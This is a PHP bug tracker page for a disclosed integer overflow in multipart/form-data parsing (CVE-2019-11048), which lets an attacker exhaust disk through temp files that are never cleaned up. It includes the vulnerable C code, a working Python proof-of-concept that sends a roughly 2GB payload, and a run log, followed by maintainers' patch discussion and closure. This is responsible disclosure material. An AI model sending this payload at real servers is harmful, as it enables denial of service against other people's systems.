php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #78876 Long variables in multipart/form-data cause OOM and temp files are not cleaned
Submitted: 2019-11-28 11:07 UTC Modified: 2020-05-11 21:22 UTC
From: jr at coredu dot mp Assigned: stas (profile)
Status: Closed Package: *Web Server problem
PHP Version: 7.2.25 OS: ALL
Private report: No CVE-ID: 2019-11048
 [2019-11-28 11:07 UTC] jr at coredu dot mp
Description:
------------
There is a bug in php-src/main/rfc1867.c that allows a malicious user to crash php during a multipart/form-data file upload. A large multipart/form-data variable causes an integer overflow that leads to a subsequent crash.
The problem is that if multiple files are uploaded at the same time and the bug is triggered with one of the later files,all previous temp files will not be deleted and fill up the disk. This could be used for a easy to execute remote denial of service attack.

Required php.ini settings:

; post_max_size needs to be at least 2GB + a few additional bytes for the rest of the form (this depends on the exact POC)
; For the POC attached to this bug report, please use 2147483839 or more.
post_max_size = 2147483839
; this could be remotely set with the MAX_FILE_SIZE form variable but in order to keep the POC as simple as possible, I did not do this
; so set upload_max_filesize to 0
upload_max_filesize = 0
; according to documentation, memory_limit should always be larger than post_max_size so I set it to 4GB to be on the safe side
memory_limit = 4GB


The security issue exists in SAPI_API SAPI_POST_HANDLER_FUNC(rfc1867_post_handler) in the handling of large variables:


/* Normal form variable, safe to read all data into memory */
if (!filename && param) {
    size_t value_len;
    char *value = multipart_buffer_read_body(mbuff, &value_len);
    size_t new_val_len; /* Dummy variable */

    if (!value) {
        value = estrdup("");
        value_len = 0;
    }

...

static char *multipart_buffer_read_body(multipart_buffer *self, size_t *len)
{
	char buf[FILLUNIT], *out=NULL;
	int total_bytes=0, read_bytes=0;

	while((read_bytes = multipart_buffer_read(self, buf, sizeof(buf), NULL))) {
		out = erealloc(out, total_bytes + read_bytes + 1);
		memcpy(out + total_bytes, buf, read_bytes);
		total_bytes += read_bytes;
	}

	if (out) {
		out[total_bytes] = '\0';
	}
	*len = total_bytes;

	return out;
}

The problem is that the total_bytes variable has the type of a signed integer. If the variable is large enough to overflow it, total_bytes will
be negative. This causes the erealloc() to fail because it will be converted to a extremely large 64 bit integer.
Subsequently, the script apruptly exits and the already uploaded temporary files are not deleted.

Example run of attached POC:

root@vagrant:/var/www/html# ls /tmp/php*
ls: cannot access '/tmp/php*': No such file or directory
root@vagrant:/var/www/html# python multipart_var_oom_crash.py 
[+] Opening connection to 127.0.0.1 on port 80: Done
sending payload with size 2147483839
[*] Switching to interactive mode
HTTP/1.1 502 Bad Gateway
Server: nginx/1.14.0 (Ubuntu)
Date: Mon, 18 Nov 2019 05:43:50 GMT
Content-Type: text/html
Content-Length: 182
Connection: keep-alive

<html>
<head><title>502 Bad Gateway</title></head>
<body bgcolor="white">
<center><h1>502 Bad Gateway</h1></center>
<hr><center>nginx/1.14.0 (Ubuntu)</center>
</body>
</html>
$ 
[*] Closed connection to 127.0.0.1 port 80
root@vagrant:/var/www/html# ls /tmp/php*
/tmp/php3kyNzA
root@vagrant:/var/www/html# cat /tmp/php3kyNzA 
testtesttesttesttesttesttesttesttesttesttesttesttesttesttesttestroot@vagrant:/var/www/html# 

Please note that the python POC requires the pwntools library (pip install pwntools).
It posts to localhost:80/poc.php - modify the http request if required, the contents of poc.php do not matter.


Test script:
---------------
#!/usr/bin/env python

from pwn import *

r = remote("127.0.0.1", 80)

boundary = "FOO"

def line(s):
    return "%s\n" %s

buf2 = ""
buf2 += line("--"+boundary)
buf2 += line('Content-Disposition: form-data; name="test"; filename="test"')
buf2 += line("")
buf2 += line("test"*0x10)
buf2 += line("--"+boundary)
buf2 += line('Content-Disposition: form-data; name="foo"')
buf2 += line("")
buf2 += line("a"*0x7FFFFFFF)
buf2 += line("--"+boundary+"--")

buf = ""
buf += "POST /poc.php HTTP/1.1\n"
buf += "Host: localhost\n"
buf += "Content-Type: multipart/form-data; boundary=%s\n" % boundary
buf += "Content-Length: %d\n" % len(buf2)
buf += "\n"

print "sending payload with size %d" % len(buf2)
r.send(buf + buf2)
r.interactive()

Expected result:
----------------
php should not crash, the temporary file should be deleted

Actual result:
--------------
php crashes, the temporary file is not deleted

Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2019-11-29 04:34 UTC] stas@php.net
-Summary: Long variables in multipart/form-data crash PHP and lead to disk exhaustion +Summary: Long variables in multipart/form-data cause OOM and temp files are not cleaned
 [2019-11-29 04:34 UTC] stas@php.net
Allocation failure strictly speaking is not a crash, but not cleaning up temp file may be indeed bad and cause DOS.
 [2019-11-29 04:34 UTC] stas@php.net
-Package: Reproducible crash +Package: *Web Server problem
 [2019-12-16 08:20 UTC] stas@php.net
-CVE-ID: +CVE-ID: 2019-11048
 [2020-03-18 09:29 UTC] cmb@php.net
-Status: Open +Status: Verified -Assigned To: +Assigned To: stas
 [2020-03-18 09:29 UTC] cmb@php.net
Suggested fix:
<https://gist.github.com/cmb69/384d5f5bb6b2de834877348dcdbe3282>.

@jr, could you please confirm that the patch fixes the bug?
 [2020-03-18 09:30 UTC] cmb@php.net
-Status: Verified +Status: Open -Assigned To: stas +Assigned To:
 [2020-03-18 09:30 UTC] cmb@php.net
Oops, the patch is meant for bug #78875.  Sorry for the noise.
 [2020-03-18 09:59 UTC] cmb@php.net
-Status: Open +Status: Verified -Assigned To: +Assigned To: stas
 [2020-03-18 09:59 UTC] cmb@php.net
Suggested fix for this issue:
<https://gist.github.com/cmb69/94d3993ad9e2ee5d2ddabff18f6a86b8>

@jr, could you please confirm that the patch fixes the bug?
 [2020-04-21 07:50 UTC] jr at coredu dot mp
Patch looks good, this should fix the crash. Thanks!
 [2020-05-11 21:22 UTC] stas@php.net
Automatic comment on behalf of cmbecker69@gmx.de
Revision: http://git.php.net/?p=php-src.git;a=commit;h=3c8582ca4b8e84e5647220b647914876d2c3b124
Log: Fix #78876: Long variables cause OOM and temp files are not cleaned
 [2020-05-11 21:22 UTC] stas@php.net
-Status: Verified +Status: Closed
 [2020-05-12 07:02 UTC] cmb@php.net
Automatic comment on behalf of cmbecker69@gmx.de
Revision: http://git.php.net/?p=php-src.git;a=commit;h=8fd927768991df88df0c338b2b7c29e490392430
Log: Fix #78876: Long variables cause OOM and temp files are not cleaned
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Tue Mar 19 06:01:30 2024 UTC